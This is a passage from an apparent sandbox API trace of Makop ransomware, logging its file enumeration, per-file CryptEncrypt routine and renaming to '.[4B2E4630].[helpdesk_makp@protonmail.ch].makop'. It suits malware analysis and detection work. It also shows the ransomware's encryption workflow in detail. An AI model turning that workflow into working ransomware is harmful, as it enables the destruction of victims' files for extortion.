lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0100.807] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0100.807] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0100.807] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0100.807] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.808] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1a1, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x1a1, lpOverlapped=0x0) returned 1 [0100.808] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x1b0, dwBufLen=0x1b0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x1b0) returned 1 [0100.808] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.808] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1b0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x1b0, lpOverlapped=0x0) returned 1 [0100.808] CryptDestroyKey (hKey=0x48c7168) returned 1 [0100.808] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x274, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.808] SetEndOfFile (hFile=0x138) returned 1 [0100.815] GetProcessHeap () returned 0x48a0000 [0100.815] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0100.815] GetProcessHeap () returned 0x48a0000 [0100.816] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0100.816] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 118 [0100.816] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\water.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\water.inf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0100.825] CloseHandle (hObject=0x138) returned 1 [0100.826] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATER.INF", cAlternateFileName="")) returned 0 [0100.826] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0100.826] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATERMAR", cAlternateFileName="")) returned 1 [0100.826] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR") returned 64 [0100.826] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\*.*") returned 68 [0100.826] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0100.827] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.827] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x623, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0100.827] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0100.827] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0100.829] GetProcessHeap () returned 0x48a0000 [0100.829] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0100.829] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0100.829] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0100.829] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xd, lpOverlapped=0x0) returned 1 [0100.833] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0100.833] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0100.834] GetProcessHeap () returned 0x48a0000 [0100.834] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0100.834] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0100.834] CryptDestroyKey (hKey=0x48c7168) returned 1 [0100.834] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0100.834] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0100.834] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0100.834] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0100.835] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0100.835] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0100.836] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0100.836] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0100.836] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.836] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x623, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x623, lpOverlapped=0x0) returned 1 [0100.837] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x630, dwBufLen=0x630 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x630) returned 1 [0100.837] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.837] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x630, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x630, lpOverlapped=0x0) returned 1 [0100.837] CryptDestroyKey (hKey=0x48c7168) returned 1 [0100.837] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x704, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.837] SetEndOfFile (hFile=0x138) returned 1 [0100.844] GetProcessHeap () returned 0x48a0000 [0100.844] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0100.844] GetProcessHeap () returned 0x48a0000 [0100.844] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0100.844] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 123 [0100.844] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0100.846] CloseHandle (hObject=0x138) returned 1 [0100.846] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x75da, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0100.846] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0100.846] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0100.848] GetProcessHeap () returned 0x48a0000 [0100.848] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0100.848] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0100.848] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0100.848] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x6, lpOverlapped=0x0) returned 1 [0100.853] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0100.853] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0100.853] GetProcessHeap () returned 0x48a0000 [0100.853] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0100.853] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0100.853] CryptDestroyKey (hKey=0x48c7168) returned 1 [0100.853] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0100.853] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0100.853] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0100.854] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0100.854] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0100.854] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0100.854] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0100.854] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0100.854] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.854] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x75da, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x75da, lpOverlapped=0x0) returned 1 [0100.856] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x75e0, dwBufLen=0x75e0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x75e0) returned 1 [0100.857] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.857] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x75e0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x75e0, lpOverlapped=0x0) returned 1 [0100.857] CryptDestroyKey (hKey=0x48c7168) returned 1 [0100.857] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x76b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.857] SetEndOfFile (hFile=0x138) returned 1 [0100.865] GetProcessHeap () returned 0x48a0000 [0100.865] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0100.865] GetProcessHeap () returned 0x48a0000 [0100.865] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0100.865] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 124 [0100.865] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0100.870] CloseHandle (hObject=0x138) returned 1 [0100.871] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37d2a200, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x37d2a200, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xbfc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATERMAR.ELM", cAlternateFileName="")) returned 1 [0100.871] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM") returned 77 [0100.871] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\watermar.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0100.872] GetProcessHeap () returned 0x48a0000 [0100.872] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0100.872] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0100.872] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0100.872] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xa, lpOverlapped=0x0) returned 1 [0100.876] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0100.876] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0100.876] GetProcessHeap () returned 0x48a0000 [0100.876] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0100.876] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0100.876] CryptDestroyKey (hKey=0x48c7168) returned 1 [0100.877] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0100.877] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0100.877] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0100.877] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0100.878] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0100.878] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0100.878] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0100.878] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0100.878] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.878] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0xbfc6, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0xbfc6, lpOverlapped=0x0) returned 1 [0100.880] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0xbfd0, dwBufLen=0xbfd0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0xbfd0) returned 1 [0100.881] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.881] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xbfd0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0xbfd0, lpOverlapped=0x0) returned 1 [0100.881] CryptDestroyKey (hKey=0x48c7168) returned 1 [0100.882] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xc0a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.882] SetEndOfFile (hFile=0x138) returned 1 [0100.890] GetProcessHeap () returned 0x48a0000 [0100.890] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0100.890] GetProcessHeap () returned 0x48a0000 [0100.890] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0100.890] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 124 [0100.890] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\watermar.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\WATERMAR.ELM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\watermar.elm.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0100.891] CloseHandle (hObject=0x138) returned 1 [0100.891] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, 